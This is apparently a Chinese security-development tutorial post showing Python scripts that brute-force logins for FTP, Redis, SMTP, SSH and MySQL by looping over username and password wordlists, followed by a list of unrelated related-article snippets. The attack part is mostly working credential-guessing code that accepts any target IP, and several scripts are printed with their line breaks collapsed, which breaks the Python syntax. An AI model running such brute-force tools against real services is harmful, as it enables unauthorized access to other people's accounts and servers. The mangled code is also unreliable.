第159天:安全开发-Python-协议库爆破FTPSSHRedisSMTPMYSQL等
案例一: Python-文件传输爆破-ftplib 库操作 ftp 协议
开一个ftp

利用ftp正确登录与失败登录都会有不同的回显

使用ftplib库进行测试
from ftplib import FTP
# FTP服务器地址
ftp_server = '192.168.172.132'
# FTP服务器端口(默认为21)
ftp_port = 21
# FTP登录用户名
ftp_user = 'root'
# FTP登录密码
ftp_pass = '123.comm'
ftp = FTP()
ftp.connect(ftp_server,ftp_port)
ftp.login(ftp_user,ftp_pass)
成功

失败

在此基础之上加上字典进行循环就能爆破出来密码
爆破ftp账号密码的程序
from ftplib import FTP
def ftp_check(ip,port,username,password):ftp = FTP()ftp.connect(ip,port)try:ftp.login(username,password)print(username+"|"+password+"-->success")exit()except Exception as e:print(username+"|"+password+"-->failed")if __name__ == '__main__':ip = input("please input ip:")port = int(input("please input port:"))with open('.\\conf\\dic_username_ftp.txt', 'r') as file: names = file.readlines() for name in names:name = name.replace("\n","")with open('.\\conf\\dic_password_ftp.txt', 'r') as file: passwords = file.readlines() for password in passwords:password = password.replace("\n","")ftp_check(ip,port,name,password)
运行结果


如果觉得输出太过繁琐,可以不输出失败的结果
案例二: Python-数据库爆破-redis 库操作redis 协议
开启redis:端口为6379

配置密码

尝试连接,redis没有账号这一说法,都是用密码连接就ok


连接成功之后可以设置变量,可以利用这一点如果没有连接的话会报错

因为普通连接就算连接不成功他也不会报错

爆破程序
import redis
def redis_check(ip,password):try:conn=redis.Redis(host=ip, port=6379, password=password, db=0)conn.set("test","123")print(password+"-->success")conn.delete("test")exit()except Exception as e:print(password+"-->failed")if __name__ == "__main__":ip = input("please input ip:")with open(".\\conf\\dic_password_redis.txt","r") as file:passwords = file.readlines()for password in passwords:password = password.replace("\n","")redis_check(ip,password)
运行结果

案例三:Python-邮件爆破-smtplib 库操作 smtp 协议
smtp调用库smtplib,smtp邮件可以利用授权码代替密码进行登录

需要根据后缀来进行判断是什么邮箱


代码,登录失败会报错
import smtplibdef email_check(email,password):smtp_split = email.split("@")[1]smtp_server = 'smtp.'+smtp_split#print(smtp_server)smtp_port = 25try:smtp_conn = smtplib.SMTP()smtp_conn.connect(smtp_server, 25) # 25 为 SMTP 端口号smtp_conn.login(email, password)print("password is "+password+' --> ok')exit()except Exception as e:pass#print("error")if __name__ == "__main__":email = input("please input your eamil:")with open(".\\conf\\dic_password_email.txt","r") as file:passwords = file.readlines()for password in passwords:password = password.replace("\n","")email_check(email,password)
运行结果
案例四:Python-登录爆破-paramiko库操作ssh协议
ssh连接调用paramiko库
import paramiko
# 创建SSH客户端
client = paramiko.SSHClient()
# 自动添加主机名和密钥到本地的known_hosts文件
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
# 连接到远程主机
client.connect('远程主机IP',"port" username='用户名', password='密码')
连接成功不会报错

失败报错

代码,端口为连接的第二个参数,默认为22
import paramiko,timedef ssh_check(ip,username,password):print(username + " | "+password +"")client = paramiko.SSHClient()client.set_missing_host_key_policy(paramiko.AutoAddPolicy())try:client.connect(ip,username=username, password=password)print(username + " | "+password +"--> success")exit()except Exception as e:passtime.sleep(1)if __name__ == '__main__':ip = input("please input ip:")with open('.\\conf\\dic_username_ssh.txt', 'r') as file: names = file.readlines() for name in names:name = name.replace("\n","")with open('.\\conf\\dic_password_ssh.txt', 'r') as file: passwords = file.readlines() for password in passwords:password = password.replace("\n","")ssh_check(ip,name,password)
运行结果

案例五: Python-数据库爆破-pymysql 库操作 mysql 协议
创建一个允许远程登陆的用户jie 123.com
CREATE USER 'jie'@'%' IDENTIFIED BY '123.com';
GRANT ALL PRIVILEGES ON *.* TO 'jie'@'%';
FLUSH PRIVILEGES;
能够成功连接

建立mysql连接
import mysql.connector
# pip install mysql-connector-python 安装这个库
# 创建数据库连接
db = mysql.connector.connect(host="192.168.172.132", # MySQL服务器地址port=3306,user="jie", # 用户名password="123.comm", # 密码database="mysql" # 数据库名称
)
安装相关库

错误连接会报错

在此基础之上写爆破mysql
import mysql.connectordef mysql_check(ip,port,username,password):try:db = mysql.connector.connect(host=ip, # MySQL服务器地址port=port,user=username, # 用户名password=password, # 密码database="mysql" # 数据库名称)print(username + " | " +password + "--> success")exit()except Exception as e:pass
if __name__ == '__main__':ip = input("please input ip:")port = int(input("please input port:"))with open('.\\conf\\dic_username_ftp.txt', 'r') as file: names = file.readlines() for name in names:name = name.replace("\n","")with open('.\\conf\\dic_password_ftp.txt', 'r') as file: passwords = file.readlines() for password in passwords:password = password.replace("\n","")mysql_check(ip,port,name,password)
运行结果

如果再命令行以 python xx.py 123456这种后面带参数的方式输入需要引入sys库,利用sys.argv[1]
可以把变量设置在文件后面,如下图所示


相关文章:
第159天:安全开发-Python-协议库爆破FTPSSHRedisSMTPMYSQL等
案例一: Python-文件传输爆破-ftplib 库操作 ftp 协议 开一个ftp 利用ftp正确登录与失败登录都会有不同的回显 使用ftplib库进行测试 from ftplib import FTP # FTP服务器地址 ftp_server 192.168.172.132 # FTP服务器端口(默认为21) ftp_po…...
软件测试 | APP测试 —— Appium 的环境搭建及工具安装教程
大家应该都有同一种感觉,学习appium最大的难处之一在于环境的安装,安装流程比较繁琐,安装的工具和步骤也较多,以下是基于Windows系统下的Android手机端的安装流程。就像我们在用Selenium进行web自动化测试的时候一样,我…...
计算机人工智能前沿进展-大语言模型方向-2024-09-13
计算机人工智能前沿进展-大语言模型方向-2024-09-13 1. OneEdit: A Neural-Symbolic Collaboratively Knowledge Editing System Authors: Ningyu Zhang, Zekun Xi, Yujie Luo, Peng Wang, Bozhong Tian, Yunzhi Yao, Jintian Zhang, Shumin Deng, Mengshu Sun, Lei Liang, Z…...
衡石分析平台使用手册-替换衡石minio
替换衡石minio 在使用HENGSHI SENSE服务过程中,可以根据业务需要替换HENGSHI自带的minio。本文讲述使用Aws S3和Aliyun OSS替代衡石minio的过程。 准备工作 在进行配置前,请在aws s3或aliyun oss完成如下准备工作。 创建access_key和secret_acces…...
怎么将几个pdf合成为一个?把几个PDF合并成为一个的8种方法
怎么将几个pdf合成为一个?将多个PDF文件合并成一个整体可以显著提高信息整合的效率,并简化文件的管理与传递。例如,将不同章节的电子书合成一本完整的书籍,或者将多个部门的报告整合成一个统一的文档,可以使处理流程变…...
明明没有程序占用端口,但是启动程序却提示端口无法使用,项目也启动失败
明明没有程序占用端口,但是启动程序却提示端口无法使用,项目也启动失败 win10、端口占用、port、netstat、used背景 曾在springboot中遇到过,新建spring cloud时又遇到这个问题,如果不从根本上解决,就需要改端口&…...
ClickHouse的安装配置+DBeaver远程连接
1、clickhouse的下载: 先去clickhouse官网进行下载,继续往下翻找文档,将DBeaver也下载下来 下载地址:https://packages.clickhouse.com/rpm/stable/ 下载这个四个rpm包 2、上传rmp文件到Linux中 自己创建的一个clickhouse-ins…...
UVM仿真的运行(四)—— objection 机制
目录 0. 引言 1. uvm_phase::execute_phase line 1432~1470 2. uvm_objection 2.1 get_objection_total 2.2 raise_objection 2.3 drop_objection 2.4 m_execute_scheduled_forks 2.5 wait_for 3. 小结 0. 引言 前面介绍了uvm仿真的启动,按照domain中指定的DAG的pha…...
【ShuQiHere】算法分析:揭开效率与复杂度的神秘面纱
【ShuQiHere】 🚀 引言 在计算机科学的世界中,算法 是每一个程序背后的隐形支柱。从简单的排序到复杂的人工智能,算法无处不在。然而,编写一个能运行的程序只是开始,当程序面对庞大的数据集时,算法的效率…...
记忆化搜索专题——算法简介力扣实战应用
目录 1、记忆化搜索算法简介 1.1 什么是记忆化搜索 1.2 如何实现记忆化搜索 1.3 记忆化搜索与动态规划的区别 2、算法应用【leetcode】 2.1 题一:斐波那契数 2.1.1 递归暴搜解法代码 2.1.2 记忆化搜索解法代码 2.1.3 动态规划解法代码 2.2 题二࿱…...
【Java】【力扣】83.删除排序链表中的重复元素
题目 给定一个已排序的链表的头 head , 删除所有重复的元素,使每个元素只出现一次 。返回 已排序的链表 。 示例 1: 输入:head [1,1,2] 输出:[1,2]示例 2: 输入:head [1,1,2,3,3] 输出&#…...
vue3项目实现全局国际化
本文主要梳理vue3项目实现全项目格式化,例如在我前面文章使用若依创建vue3的项目中,地址:若依搭建vue3项目在导航栏中切换,页面中所有的组件的默认语言随之切换,使用的组件库依旧是element-plus,搭配vue-i1…...
Oracle 19c异常恢复—ORA-01209/ORA-65088---惜分飞
由于raid卡bug故障,导致文件系统异常,从而使得数据库无法正常启动,客户找到我之前已经让多人分析,均未恢复成功,查看alert日志,发现他们恢复的时候尝试resetlogs库,然后报ORA-600 kcbzib_kcrsds_1错误 2024-09-15T17:07:32.55321508:00 alter database open resetlogs 2024-09-…...
【Webpack--000】了解Webpack
🤓😍Sam9029的CSDN博客主页:Sam9029的博客_CSDN博客-前端领域博主 🐱🐉若此文你认为写的不错,不要吝啬你的赞扬,求收藏,求评论,求一个大大的赞!👍* &#x…...
开源 AI 智能名片链动 2+1 模式 S2B2C 商城小程序与社交电商的崛起
摘要:本文深入探讨了社交电商迅速发展壮大的原因,并分析了开源 AI 智能名片链动 21 模式 S2B2C 商城小程序在社交电商中的重要作用。通过对传统电商与社交电商的对比,以及对各发展因素的剖析,阐述了该小程序如何为社交电商提供新的…...
在线IP代理检测:保护您的网络安全
在互联网飞速发展的今天,越来越多的人开始意识到网络安全和隐私保护的重要性。在线IP代理检测工具作为一种有效的网络安全手段,能够帮助用户识别和检测IP代理的使用情况,从而更好地保护个人隐私和数据安全。本文将详细介绍在线IP代理检测的相…...
【算法】BFS—解开密码锁的最少次数
题目 一个密码锁由 4 个环形拨轮组成,每个拨轮都有 10 个数字: 0, 1, 2, 3, 4, 5, 6, 7, 8, 9 。每个拨轮可以自由旋转:例如把 9 变为 0,0 变为 9 。每次旋转都只能旋转一个拨轮的一位数字。 锁的初始数字为 0000 ,一个…...
非守护线程会阻止JVM的终止吗
非守护线程会阻止JVM的终止。在Java中,线程分为守护线程(Daemon Threads)和非守护线程(Non-Daemon Threads,也被称为用户线程)。这两种线程在JVM终止时表现出不同的行为。 非守护线程是JVM中执行程序主要逻…...
Grafana面板-linux主机详情(使用标签过滤主机监控)
1. 采集器添加labels标签区分业务项目 targets添加labels (模板中使用的project标签) … targets: [‘xxxx:9100’] labels: project: app2targets: [‘xxxx:9100’] labels: project: app1 … 2. grafana面板套用 21902 模板 演示...
MYSQL数据库基础篇——DDL
DDL:DDL是数据定义语言,用来定义数据库对象。 一.DDL操作数据库 1.查询 ①查询所有数据库 输入; 得到结果: ②查询当前数据库 输入; 例如执行下面语句: 2.创建 输入 然后展示数据库即可得到结果&…...
MySQL 8.0.34和5.7.43双版本共存安装指南(Windows环境避坑大全)
MySQL 8.0与5.7双版本共存实战:Windows环境全流程避坑指南 1. 版本共存的核心挑战与解决方案 在开发环境中同时运行MySQL 8.0和5.7版本的需求日益普遍——可能是为了兼容旧系统,或是测试应用在不同版本下的表现。但Windows环境下实现双版本共存会遇到几个…...
lingbot-depth-vitl14镜像兼容性说明:insbase-cuda124-pt250-dual-v7底座深度适配细节
lingbot-depth-vitl14镜像兼容性说明:insbase-cuda124-pt250-dual-v7底座深度适配细节 1. 引言:为什么你需要关注这个深度估计模型? 如果你正在做机器人、自动驾驶或者AR/VR相关的项目,肯定遇到过这样的问题:怎么让机…...
抖音音频高效提取工具:从繁琐操作到一键解决方案
抖音音频高效提取工具:从繁琐操作到一键解决方案 【免费下载链接】douyin-downloader A practical Douyin downloader for both single-item and profile batch downloads, with progress display, retries, SQLite deduplication, and browser fallback support. 抖…...
PP-DocLayoutV3部署教程:requirements.txt依赖版本兼容性验证指南
PP-DocLayoutV3部署教程:requirements.txt依赖版本兼容性验证指南 1. 引言:为什么需要关注依赖兼容性 当你准备部署PP-DocLayoutV3这个强大的文档布局分析模型时,可能会遇到一个常见但令人头疼的问题:明明按照文档安装了所有依赖…...
3个秘诀让城通网盘下载提速10倍:ctfileGet工具全解析
3个秘诀让城通网盘下载提速10倍:ctfileGet工具全解析 【免费下载链接】ctfileGet 获取城通网盘一次性直连地址 项目地址: https://gitcode.com/gh_mirrors/ct/ctfileGet ctfileGet是一款专注于获取城通网盘直连地址的开源工具,通过本地解析技术帮…...
行波管(TWT)核心参数权衡:填充比、流通率与电子注效率的物理本质及工程设计
在行波管(TWT)设计中,填充比(F)、流通率(ηₜᵣₐₙₛ)与电子注效率(ηₑ)是决定器件性能的三大核心参数,三者并非独立存在,而是形成了紧密的物理…...
Ubuntu 22.04 改IP重启失效?别急,可能是OVS的ovsdb-server在捣鬼
Ubuntu 22.04网络配置失效:当OVS与netplan的隐秘博弈 在虚拟化技术大行其道的今天,Open vSwitch(OVS)作为开源虚拟交换机的标杆,已经成为众多云计算平台和容器网络的核心组件。然而,当它遇上Ubuntu 22.04默…...
芯片研发的残酷真相:流片成功只是开始
芯片成功"点亮"那一刻,项目算完成了吗?如果你认为算,那大概率还没经历过真正的芯片项目后期。事实是,点亮和demo跑通,只不过是拿到了入场券而已。真正的战斗,从客户拿到样片那一刻才开始。很多工…...
2026年高压电磁阀制造厂大比拼:哪家更值得信赖?
在工业领域,高压电磁阀是许多关键系统的核心部件,其性能和可靠性直接关系到整个系统的稳定性和安全性。随着技术的不断进步和市场需求的多样化,选择一家值得信赖的高压电磁阀制造厂变得尤为重要。本文将从多个维度对比分析几家主流高压电磁阀…...
CasRel在智能问答系统中的落地实践:为QA引擎注入结构化事实支撑
CasRel在智能问答系统中的落地实践:为QA引擎注入结构化事实支撑 1. 引言:当问答系统遇到关系抽取 想象一下这样的场景:用户向智能问答系统提问"苹果公司的CEO是谁?",系统需要快速准确地回答"蒂姆库克…...
